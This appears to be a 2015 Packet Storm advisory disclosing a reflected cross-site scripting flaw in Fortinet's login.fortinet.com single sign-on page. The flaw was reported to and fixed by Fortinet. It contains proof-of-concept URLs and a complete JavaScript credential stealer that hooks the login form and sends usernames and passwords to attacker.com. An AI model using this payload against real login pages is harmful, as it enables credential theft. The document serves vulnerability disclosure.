exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Fortinet Cross Site Scripting

Fortinet Cross Site Scripting
Posted Dec 4, 2015
Authored by Yann CAM

The login.fortinet.com site suffered from a reflective cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 66571f8144851a8371be1d5f8d2edae17f7278739655c44af22a1cea57e1fcba

Fortinet Cross Site Scripting

Change Mirror Download
######################################################################
# Exploit Title: fortinet.com Reflected XSS Credential stealer
# Date: 04/12/2015
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.fortinet.com
# Version: /
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on: Fortinet sub-domains (login domain)
######################################################################

Fortinet description :
======================================================================

Fortinet, Inc. is an American multinational corporation founded in 2000 by brothers Ken and Michael Xie. The company sells high performance network security products and services including their flagship integrated network security solution, the FortiGate firewall. Fortinet distributes its systems and subscription-based services using the channel partner sales method via more than 20,000 partners worldwide. Fortinet is positioned as the revenue leader in unified threat management (UTM) solutions.

Fortinet competes in the UTM and network security industry, and has the third-highest market share in security appliances after Cisco Systems and Check Point.


Vulnerability description :
======================================================================
A reflected Cross-Site Scripting vulnerability was identified in login.fortinet.com IdP-SSO page.
To access protected resources on searchsupport.fortinet.com or forticare.fortinet.com, users are redirected to login.fortinet.com to login (Single Sign-On federation through uniq IdP).
This IdP suffers from a RXSS, and a malicious user can catch all credential (login / password) in plaintext (demonstration : https://www.youtube.com/watch?v=vDYdBMeZ7fc).

Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake Fortinet portals, or capture Fortinet's users credentials.
This vulnerable parameter is not properly sanitized before being used in pages.


Proof of Concept 1 - login.fortinet.com - RXSS alert() canonical :
======================================================================

A non-persistent XSS (RXSS) in "wtrealm" GET param is available in the SSO domain of Fortinet.
Tested on Firefox 42.0.

PoC:

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP


Proof of Concept 2 - login.fortinet.com - RXSS third party script :
======================================================================

Through this XSS, a malicious user can load a third-party JavaScript file in the login.fortinet.com browser's context.
The next quick'n'dirty JavaScript file can illustrate the availability of an attacker to grab all credential in plaintext.
Tested on Firefox 42.0.

PoC:

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>s=document.createElement('script');s.setAttribute('src','//attacker.com/x.js');document.body.appendChild(s);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP

x.js hosted on "https://attacker.com/x.js" :

//alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);
// Add JQuery dynamically if needed
var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'https://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq); // jquery dynamic loading
// function to send through GET the login/password of the victim to the attacker's server
function sendX(login, passwd){
var x=document.getElementsByTagName('head')[0];
var y= document.createElement('script');
y.type= 'text/javascript';
y.src= 'https://attacker.com/x.php?LOGIN='+login+'&PASSWD='+passwd;
x.appendChild(y);
}
// function to recover the form submit action event
function submitX(){
document.forms[0].onsubmit=function() {
return true; // enable the form "action"
};
document.forms[0].submit();
}
// function to hook the login form and add an onsubmit action (before the form action)
function loadX(){
$( document ).ready(function() {
$("#contextHolder_InvalidRPAddress").html(""); // clean the error message on the page
document.forms[0].onsubmit=function() {
login=document.getElementById("contextHolder_Login_name").value;
passwd=document.getElementById("contextHolder_Login_password").value;
sendX(login,passwd); // retrieve login/password
setTimeout("submitX()", 1000); // recover initial form submit action
return false; // block the form "action"
};
});
}
setTimeout('loadX()', 2000);


Demonstration video :
======================================================================

- https://www.youtube.com/watch?v=vDYdBMeZ7fc

Screenshots :
======================================================================

- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_001.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_002.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_003.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_004.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_005.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_006.png


Solution:
======================================================================

Fixed by Fortinet Security Team.


Additional resources :
======================================================================

- https://www.fortinet.com
- http://www.asafety.fr/
- http://www.synetis.com


Report timeline :
======================================================================

2015-11-06 : Fortinet PSIRT Team alerted with details and PoC.
2015-11-27 : Fortinet PSIRT Team response with thanks and open a ticket.
2015-12-02 : Fortinet PSIRT Team fixe the issue and ask to check the correction.
2015-12-03 : Fix confirmed and ticket closed.
2015-12-04 : Public advisory.


Credits :
======================================================================

88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety

--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close